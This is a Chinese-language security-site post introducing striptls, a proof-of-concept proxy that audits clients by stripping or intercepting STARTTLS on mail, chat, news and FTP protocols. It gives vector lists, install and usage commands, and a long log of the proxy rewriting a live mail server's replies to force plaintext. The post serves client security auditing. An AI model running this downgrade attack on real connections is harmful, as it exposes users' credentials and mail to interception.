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工具推荐：striptls审计代理

STARTTLS 是对纯文本通信协议的扩展。它提供一种方式将纯文本连接升级为加密连接（TLS或SSL），而不是另外使用一个端口作加密通信。

striptls是一款 端口剥离攻击的 POC 实现

SMTP

SMTP.StripFromCapabilities - server response capability patch SMTP.StripWithInvalidResponseCode - client STARTTLS stripping, invalid response code SMTP.UntrustedIntercept - STARTTLS interception (client and server talking ssl) (requires server.pem in pwd) SMTP.StripWithTemporaryError SMTP.StripWithError SMTP.ProtocolDowngradeStripExtendedMode SMTP.InjectCommand

POP3

POP3.StripFromCapabilities POP3.StripWithError POP3.UntrustedIntercept

IMAP

IMAP.StripFromCapabilities IMAP.StripWithError IMAP.UntrustedIntercept IMAP.ProtocolDowngradeToV2

FTP

FTP.StripFromCapabilities FTP.StripWithError FTP.UntrustedIntercept

NNTP

NNTP.StripFromCapabilities NNTP.StripWithError NNTP.UntrustedIntercept

XMPP

XMPP.StripFromCapabilities XMPP.StripInboundTLS XMPP.UntrustedIntercept ACAP (untested) ACAP.StripFromCapabilities ACAP.StripWithError ACAP.UntrustedIntercept

IRC

IRC.StripFromCapabilities IRC.StripWithError IRC.UntrustedIntercept IRC.StripWithNotRegistered IRC.StripCAPWithNotregistered IRC.StripWithSilentDrop

结果：

    - [*] client: 127.0.0.1 -     [Vulnerable!] <class striptls.StripWithInvalidResponseCode at 0xffd3138c> -     [Vulnerable!] <class striptls.StripWithTemporaryError at 0xffd4611c> -     [           ] <class striptls.StripFromCapabilities at 0xffd316bc> -     [Vulnerable!] <class striptls.StripWithError at 0xffd4614c> - [*] client: 192.168.139.1 -     [Vulnerable!] <class striptls.StripInboundTLS at 0x7f08319a6808> -     [Vulnerable!] <class striptls.StripFromCapabilities at 0x7f08319a67a0> -     [Vulnerable!] <class striptls.UntrustedIntercept at 0x7f08319a6870>

实例: 

#> python -m striptls --help    # from pip/setup.py#> python striptls --help       # from source / root folderUsage: striptls [options]         example: striptls --listen 0.0.0.0:25 --remote mail.server.tld:25Options:       -h, --help            show this help message and exit  -v, --verbose         make lots of noise [default]       -l LISTEN, --listen=LISTENlisten ip:port [default: 0.0.0.0:<remote_port>]       -r REMOTE, --remote=REMOTE                             remote target ip:port to forward sessions to       -k KEY, --key=KEY     SSL Certificate and Private key file to use, PEMformat assumed [default: server.pem]       -x VECTORS, --vectors=VECTORS                             Comma separated list of vectors. Use 'ALL' (default)                             to select all vectors. Available vectors:                             FTP.StripFromCapabilities, FTP.StripWithError,                             FTP.UntrustedIntercept, IMAP.StripFromCapabilities,                             IMAP.StripWithError, IMAP.UntrustedIntercept,                             NNTP.StripFromCapabilities, NNTP.StripWithError,                             NNTP.UntrustedIntercept, POP3.StripFromCapabilities,                             POP3.StripWithError, POP3.UntrustedIntercept,                             SMTP.ProtocolDowngradeStripExtendedMode,                             SMTP.StripFromCapabilities, SMTP.StripWithError,                             SMTP.StripWithInvalidResponseCode,                             SMTP.StripWithTemporaryError, SMTP.UntrustedIntercept,                             XMPP.StripFromCapabilities, XMPP.StripInboundTLS,                             XMPP.UntrustedIntercept [default: ALL]

安装：

1.从pip安装

#> pip install striptls

2.从源安装

#> setup.py install

示例: 

                  inbound                    outbound [inbound_peer]<------------->[listen:proxy]<------------->[outbound_peer/target]   smtp-client                   striptls                    remote/target

本地 smtp-client ->  localhost:8825 (代理) ->  mail.gmx.net:25

审计模式:

在特定的情况下遍历所有协议并且跟踪违反starttls协议的客户端。你可以选择按Ctrl + C来中止审核并打印结果。

#> python striptls --listen localhost:8825 --remote=mail.gmx.net:25
2016-02-02 22:11:56,275 - INFO     - <Proxy 0xffcf6d0cL listen=('localhost', 8825) target=('mail.gmx.net', 25)> ready.
2016-02-02 22:11:56,275 - DEBUG    - * added test (port:21   , proto:     FTP): <class striptls.StripFromCapabilities at 0xffd4632c>
2016-02-02 22:11:56,275 - DEBUG    - * added test (port:21   , proto:     FTP): <class striptls.StripWithError at 0xffd4635c>
2016-02-02 22:11:56,275 - DEBUG    - * added test (port:21   , proto:     FTP): <class striptls.UntrustedIntercept at 0xffd4638c>
2016-02-02 22:11:56,275 - DEBUG    - * added test (port:143  , proto:    IMAP): <class striptls.StripFromCapabilities at 0xffd4626c>
2016-02-02 22:11:56,275 - DEBUG    - * added test (port:143  , proto:    IMAP): <class striptls.StripWithError at 0xffd4629c>
2016-02-02 22:11:56,275 - DEBUG    - * added test (port:143  , proto:    IMAP): <class striptls.UntrustedIntercept at 0xffd462cc>
2016-02-02 22:11:56,275 - DEBUG    - * added test (port:119  , proto:    NNTP): <class striptls.StripFromCapabilities at 0xffd463ec>
2016-02-02 22:11:56,275 - DEBUG    - * added test (port:119  , proto:    NNTP): <class striptls.StripWithError at 0xffd4641c>
2016-02-02 22:11:56,275 - DEBUG    - * added test (port:119  , proto:    NNTP): <class striptls.UntrustedIntercept at 0xffd4644c>
2016-02-02 22:11:56,275 - DEBUG    - * added test (port:110  , proto:    POP3): <class striptls.StripWithError at 0xffd461dc>
2016-02-02 22:11:56,275 - DEBUG    - * added test (port:110  , proto:    POP3): <class striptls.UntrustedIntercept at 0xffd4620c>
2016-02-02 22:11:56,275 - DEBUG    - * added test (port:25   , proto:    SMTP): <class striptls.StripFromCapabilities at 0xffd316bc>
2016-02-02 22:11:56,275 - DEBUG    - * added test (port:25   , proto:    SMTP): <class striptls.StripWithError at 0xffd4614c>
2016-02-02 22:11:56,276 - DEBUG    - * added test (port:25   , proto:    SMTP): <class striptls.StripWithInvalidResponseCode at 0xffd3138c>
2016-02-02 22:11:56,276 - DEBUG    - * added test (port:25   , proto:    SMTP): <class striptls.StripWithTemporaryError at 0xffd4611c>
2016-02-02 22:11:56,276 - DEBUG    - * added test (port:25   , proto:    SMTP): <class striptls.UntrustedIntercept at 0xffd4617c>
2016-02-02 22:11:56,276 - DEBUG    - * added test (port:5222 , proto:    XMPP): <class striptls.StripFromCapabilities at 0xffd464ac>
2016-02-02 22:11:56,276 - INFO     - <RewriteDispatcher vectors={5222: set([<class striptls.StripFromCapabilities at 0xffd464ac>]), 110: set([<class striptls.UntrustedIntercept at 0xffd4620c>, <class striptls.StripWithError at 0xffd461dc>]), 143: set([<class striptls.StripWithError at 0xffd4629c>, <class striptls.UntrustedIntercept at 0xffd462cc>, <class striptls.StripFromCapabilities at 0xffd4626c>]), 21: set([<class striptls.UntrustedIntercept at 0xffd4638c>, <class striptls.StripFromCapabilities at 0xffd4632c>, <class striptls.StripWithError at 0xffd4635c>]), 119: set([<class striptls.StripWithError at 0xffd4641c>, <class striptls.UntrustedIntercept at 0xffd4644c>, <class striptls.StripFromCapabilities at 0xffd463ec>]), 25: set([<class striptls.StripWithInvalidResponseCode at 0xffd3138c>, <class striptls.StripWithTemporaryError at 0xffd4611c>, <class striptls.StripFromCapabilities at 0xffd316bc>, <class striptls.StripWithError at 0xffd4614c>, <class striptls.UntrustedIntercept at 0xffd4617c>])}>
2016-02-02 22:12:08,477 - DEBUG    - <ProtocolDetect 0xffcf6eccL protocol_id=PROTO_SMTP len_history=0> - protocol detected (target port)
2016-02-02 22:12:08,530 - INFO     - <Session 0xffcf6e4cL> client ('127.0.0.1', 28902) has connected
2016-02-02 22:12:08,530 - INFO     - <Session 0xffcf6e4cL> connecting to target ('mail.gmx.net', 25)
2016-02-02 22:12:08,805 - DEBUG    - <Session 0xffcf6e4cL> [client] <= [server]          '220 gmx.com (mrgmx001) Nemesis ESMTP Service ready/r/n'
2016-02-02 22:12:08,805 - DEBUG    - <RewriteDispatcher  - changed mangle: striptls.StripWithInvalidResponseCode new: True>
2016-02-02 22:12:09,759 - DEBUG    - <Session 0xffcf6e4cL> [client] => [server]          'ehlo [192.168.139.1]/r/n'
2016-02-02 22:12:09,850 - DEBUG    - <Session 0xffcf6e4cL> [client] <= [server]          '250-gmx.com Hello [192.168.139.1] [109.126.64.2]/r/n250-SIZE 31457280/r/n250-AUTH LOGIN PLAIN/r/n250 STARTTLS/r/n'
2016-02-02 22:12:09,851 - DEBUG    - <Session 0xffcf6e4cL> [client] <= [server][mangled] '250-gmx.com Hello [192.168.139.1] [109.126.64.2]/r/n250-SIZE 31457280/r/n250-AUTH LOGIN PLAIN/r/n250-STARTTLS/r/n250 STARTTLS/r/n'
2016-02-02 22:12:09,867 - DEBUG    - <Session 0xffcf6e4cL> [client] => [server]          'STARTTLS/r/n'
2016-02-02 22:12:09,867 - DEBUG    - <Session 0xffcf6e4cL> [client] <= [server][mangled] '200 STRIPTLS/r/n'
2016-02-02 22:12:09,867 - DEBUG    - <Session 0xffcf6e4cL> [client] => [server][mangled] None
2016-02-02 22:12:09,883 - DEBUG    - <Session 0xffcf6e4cL> [client] => [server]          'mail FROM:<a@b.com> size=10/r/n'
2016-02-02 22:12:09,983 - DEBUG    - <Session 0xffcf6e4cL> [client] <= [server]          '530 Authentication required/r/n'
2016-02-02 22:12:09,992 - DEBUG    - <Session 0xffcf6e4cL> [client] => [server]          'rset/r/n'
2016-02-02 22:12:10,100 - DEBUG    - <Session 0xffcf6e4cL> [client] <= [server]          '250 OK/r/n'
2016-02-02 22:12:10,116 - WARNING  - <Session 0xffcf6e4cL> terminated.
2016-02-02 22:12:13,056 - DEBUG    - <ProtocolDetect 0xffd0920cL protocol_id=PROTO_SMTP len_history=0> - protocol detected (target port)
2016-02-02 22:12:13,056 - INFO     - <Session 0xffd0918cL> client ('127.0.0.1', 28905) has connected
2016-02-02 22:12:13,057 - INFO     - <Session 0xffd0918cL> connecting to target ('mail.gmx.net', 25)
2016-02-02 22:12:13,241 - DEBUG    - <Session 0xffd0918cL> [client] <= [server]          '220 gmx.com (mrgmx003) Nemesis ESMTP Service ready/r/n'
2016-02-02 22:12:13,241 - DEBUG    - <RewriteDispatcher  - changed mangle: striptls.StripWithTemporaryError new: True>
2016-02-02 22:12:14,197 - DEBUG    - <Session 0xffd0918cL> [client] => [server]          'ehlo [192.168.139.1]/r/n'
2016-02-02 22:12:14,289 - DEBUG    - <Session 0xffd0918cL> [client] <= [server]          '250-gmx.com Hello [192.168.139.1] [109.126.64.2]/r/n250-SIZE 31457280/r/n250-AUTH LOGIN PLAIN/r/n250 STARTTLS/r/n'
2016-02-02 22:12:14,304 - DEBUG    - <Session 0xffd0918cL> [client] => [server]          'STARTTLS/r/n'
2016-02-02 22:12:14,305 - DEBUG    - <Session 0xffd0918cL> [client] <= [server][mangled] '454 TLS not available due to temporary reason/r/n'
2016-02-02 22:12:14,305 - DEBUG    - <Session 0xffd0918cL> [client] => [server][mangled] None
2016-02-02 22:12:14,320 - DEBUG    - <Session 0xffd0918cL> [client] => [server]          'mail FROM:<a@b.com> size=10/r/n'
2016-02-02 22:12:14,411 - DEBUG    - <Session 0xffd0918cL> [client] <= [server]          '530 Authentication required/r/n'
2016-02-02 22:12:14,415 - DEBUG    - <Session 0xffd0918cL> [client] => [server]          'rset/r/n'
2016-02-02 22:12:14,520 - DEBUG    - <Session 0xffd0918cL> [client] <= [server]          '250 OK/r/n'
2016-02-02 22:12:14,535 - WARNING  - <Session 0xffd0918cL> terminated.
2016-02-02 22:12:16,649 - DEBUG    - <ProtocolDetect 0xffd092ecL protocol_id=PROTO_SMTP len_history=0> - protocol detected (target port)
2016-02-02 22:12:16,650 - INFO     - <Session 0xffd0926cL> client ('127.0.0.1', 28908) has connected
2016-02-02 22:12:16,650 - INFO     - <Session 0xffd0926cL> connecting to target ('mail.gmx.net', 25)
2016-02-02 22:12:16,820 - DEBUG    - <Session 0xffd0926cL> [client] <= [server]          '220 gmx.com (mrgmx003) Nemesis ESMTP Service ready/r/n'
2016-02-02 22:12:16,820 - DEBUG    - <RewriteDispatcher  - changed mangle: striptls.StripFromCapabilities new: True>
2016-02-02 22:12:17,760 - DEBUG    - <Session 0xffd0926cL> [client] => [server]          'ehlo [192.168.139.1]/r/n'
2016-02-02 22:12:17,849 - DEBUG    - <Session 0xffd0926cL> [client] <= [server]          '250-gmx.com Hello [192.168.139.1] [109.126.64.2]/r/n250-SIZE 31457280/r/n250-AUTH LOGIN PLAIN/r/n250 STARTTLS/r/n'
2016-02-02 22:12:17,849 - DEBUG    - <Session 0xffd0926cL> [client] <= [server][mangled] '250-gmx.com Hello [192.168.139.1] [109.126.64.2]/r/n250-SIZE 31457280/r/n250 AUTH LOGIN PLAIN/r/n'
2016-02-02 22:12:17,871 - WARNING  - <Session 0xffd0926cL> terminated.
2016-02-02 22:12:20,071 - DEBUG    - <ProtocolDetect 0xffd093ccL protocol_id=PROTO_SMTP len_history=0> - protocol detected (target port)
2016-02-02 22:12:20,072 - INFO     - <Session 0xffd0934cL> client ('127.0.0.1', 28911) has connected
2016-02-02 22:12:20,072 - INFO     - <Session 0xffd0934cL> connecting to target ('mail.gmx.net', 25)
2016-02-02 22:12:20,239 - DEBUG    - <Session 0xffd0934cL> [client] <= [server]          '220 gmx.com (mrgmx002) Nemesis ESMTP Service ready/r/n'
2016-02-02 22:12:20,240 - DEBUG    - <RewriteDispatcher  - changed mangle: striptls.StripWithError new: True>
2016-02-02 22:12:21,181 - DEBUG    - <Session 0xffd0934cL> [client] => [server]          'ehlo [192.168.139.1]/r/n'
2016-02-02 22:12:21,269 - DEBUG    - <Session 0xffd0934cL> [client] <= [server]          '250-gmx.com Hello [192.168.139.1] [109.126.64.2]/r/n250-SIZE 31457280/r/n250-AUTH LOGIN PLAIN/r/n250 STARTTLS/r/n'
2016-02-02 22:12:21,280 - DEBUG    - <Session 0xffd0934cL> [client] => [server]          'STARTTLS/r/n'
2016-02-02 22:12:21,281 - DEBUG    - <Session 0xffd0934cL> [client] <= [server][mangled] '501 Syntax error/r/n'
2016-02-02 22:12:21,281 - DEBUG    - <Session 0xffd0934cL> [client] => [server][mangled] None
2016-02-02 22:12:21,289 - DEBUG    - <Session 0xffd0934cL> [client] => [server]          'mail FROM:<a@b.com> size=10/r/n'
2016-02-02 22:12:21,381 - DEBUG    - <Session 0xffd0934cL> [client] <= [server]          '530 Authentication required/r/n'
2016-02-02 22:12:21,386 - DEBUG    - <Session 0xffd0934cL> [client] => [server]          'rset/r/n'
2016-02-02 22:12:21,469 - DEBUG    - <Session 0xffd0934cL> [client] <= [server]          '250 OK/r/n'
2016-02-02 22:12:21,485 - WARNING  - <Session 0xffd0934cL> terminated.
2016-02-02 22:12:23,665 - WARNING  - Ctrl C - Stopping server
2016-02-02 22:12:23,665 - INFO     -  -- audit results --
2016-02-02 22:12:23,666 - INFO     - [*] client: 127.0.0.1
2016-02-02 22:12:23,666 - INFO     -     [Vulnerable!] <class striptls.StripWithInvalidResponseCode at 0xffd3138c>
2016-02-02 22:12:23,666 - INFO     -     [Vulnerable!] <class striptls.StripWithTemporaryError at 0xffd4611c>
2016-02-02 22:12:23,666 - INFO     -     [           ] <class striptls.StripFromCapabilities at 0xffd316bc>
2016-02-02 22:12:23,666 - INFO     -     [Vulnerable!] <class striptls.StripWithError at 0xffd4614c>

除了审计模式外还有从服务端剥离starttls、无效化starttls响应、不可行的ssl链接（对于客户端则是不在检验服务端的证书是否可信）以及XMPP的追踪审计的功能。

*项目地址： GitHub ，Zer0yu 投递，转载请注明来自FreeBuf黑客与极客（FreeBuf.COM）

原文  http://www.evil0x.com/posts/13541.html
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